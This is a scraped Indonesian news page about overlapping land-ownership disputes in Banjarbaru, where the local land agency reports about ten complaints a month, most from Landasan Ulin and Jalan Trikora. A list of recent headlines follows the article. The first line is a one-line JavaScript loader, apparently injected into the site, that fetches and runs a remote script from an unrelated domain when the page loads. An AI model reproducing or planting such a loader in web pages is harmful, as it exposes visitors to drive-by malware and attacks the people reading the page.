(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

BPN Banjarbaru Catat Landasan Ulin Tertinggi Kasus Tumpang Tindih Tanah


BANJARBARU, Seakan tak ada habisnya sengketa tanah di Kota Banjarbaru, status kepemilikan tanah jadi masalah cukup rumit. Baik tanah yang telah lama tidak digarap atau tanah yang tidak ada kejelasan siapa pemiliknya.

Hingga kini, Badan Pertanahan Nasional (BPN) Banjarbaru setiap bulan selalu menerima laporan adanya lahan yang kepemilikannya saling tumpang tindih.

Jika dirata-ratakan, menurut Kepala BPN Banjarbaru Yanuari, setiap bulan mereka menerima 10 pengaduan sengketa tanah dengan kasus yang berbeda-beda.

“Biasanya yang tumpang tindih ini karena surat-surat sporadik,” katanya.

Permasalahan tumpang tindih kepemilikan atas satu wilayah tanah seringkali mereka harus menyelesaikannya dengan cara memanggil para pemilik untuk mediasi.

“Biasanya kita lihat surat-suratnya, mana yang lebih lama. Lalu dilakukan survei lapangan,” kata Yanuari.

Ditanya di daerah mana seringkali terjadi kasus sengketa tanah?, Yanuari menyebut, Kecamatan Landasan Ulin adalah wilayah terbanyak kasus tumpeng tindih kepemilikan tanah karena di sana banyak ditemukan lahan kosong.

“Peran kelurahan sangat penting sebenarnya, untuk tidak serta merta mengeluarkan surat sporadik. Sebab, dengan surat itu orang-orang bisa menjual tanah. Padahal, ternyata tanah yang dijual sudah ada pemiliknya,” ujarnya.

Tidak hanya wilayah  Landasan Ulin saja yang bermasalah, kasus sengketa tanah terbanyak kedua ada di sepanjang Jalan Trikora. “Di Jalan Trikora itu kasusnya sama, lantaran banyak lahan kosong yang mudah dikuasai,” tambah Yanuari.

Yanuari mengimbau kepada masyarakat, agar benar-benar teliti jika ingin membeli bidang tanah. Pastikan dulu kepemilikannya, agar tidak terbeli tanah bersengketa.

“Kasihan, orang yang membeli tanah dengan surat sporadik. Ternyata di tanah yang sama, ada orang yang sudah memiliki sertifikatnya,” ujarnya.

Adapun permasalahan tanah sporadik sepertinya masyarakat harus benar-benar teliti saat akan membeli lahan, jangan mudah tergiur dengan berbagai macam tipu muslihat para penjual atau makelar tanah untuk membeli lahan yang tak jelas kepemilikannya. Karena yang akan merugi adalah pembeli lahan baru tersebut.  (devi)

Reporter : Devi
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Status Internasional Dicabut, Bandara Syamsudin Noor Tetap Jadi Embarkasi Haji

KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More

39 menit ago

Syarat Calon Non Partai Pilkada Banjarmasin Wajib Miliki 41 Ribu KTP Dukungan

KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More

2 jam ago

MUI Banjar Berikan Pembekalan kepada Jemaah Calon Haji Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More

2 jam ago

Pj Bupati HSU Pimpin Peringatan Hardiknas 2024

KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More

3 jam ago

Kontrol Overpopulasi Kucing Beranak Pinak di Banjarbaru, 150 Pejantan Dikebiri

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More

5 jam ago

Dominasi Golkar di Rumah Banjar, Ini 55 Calon Terpilih Anggota DPRD Kalsel 2024-2029

KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More

6 jam ago

This website uses cookies.